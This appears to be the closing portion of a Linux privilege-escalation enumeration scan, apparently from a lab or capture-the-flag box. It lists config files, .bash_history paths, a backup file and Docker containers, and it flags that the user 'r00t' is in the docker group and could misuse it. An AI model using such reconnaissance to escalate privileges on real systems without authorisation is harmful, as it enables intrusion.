-rw-r--r-- 1 root root 703 Aug 21 2017 /etc/logrotate.conf
-rw-r--r-- 1 root root 1260 Feb 26 2018 /etc/ucf.conf
-rw-r--r-- 1 root root 280 Jun 20 2014 /etc/fuse.conf
-rw-r--r-- 1 root root 2683 Jan 17 2018 /etc/sysctl.conf
-rw-r--r-- 1 root root 2584 Feb 1 2018 /etc/gai.conf
-rw-r--r-- 1 root root 350 Feb 14 2019 /etc/popularity-contest.conf
-rw-r--r-- 1 root root 34 Jan 27 2016 /etc/ld.so.conf
-rw-r--r-- 1 root root 191 Feb 7 2018 /etc/libaudit.conf
-rw-r--r-- 1 root root 1358 Jan 30 2018 /etc/rsyslog.conf
-rw-r--r-- 1 root root 604 Aug 13 2017 /etc/deluser.conf
```

[-] Location and contents (if accessible) of .bash_history file(s):

```
/home/lp1/.bash_history
/home/www/.bash_history
```

[-] Location and Permissions (if accessible) of .bak file(s):

```
-rw-rw-r-- 1 www www 7138 Feb 13 2018 /home/www/api/node_modules/form-data/README.md.bak
```

[-] Any interesting mail in /var/mail:

```
total 8
drwxrwsr-x 2 root mail 4096 Feb 14 2019 .
drwxr-xr-x 14 root root 4096 Mar 19 2019 ..
```

[+] Looks like we're hosting Docker:

Docker version 18.09.2, build 6247962

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
7beaaeecd784	bash	"docker-entrypoint.s..."	14 months ago	Exited (130)	14 months	
ago	unruffled_shockley					
696fb9b45ae5	bash	"docker-entrypoint.s..."	14 months ago	Exited (127)	14 months	
ago	boring_varahamihi\$					
9811859c4c5c	bash	"docker-entrypoint.s..."	14 months ago	Exited (127)	14 months	
ago	boring_volhard					

[+] We're a member of the (docker) group - could possibly misuse these rights!

```
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
```

SCAN COMPLETE

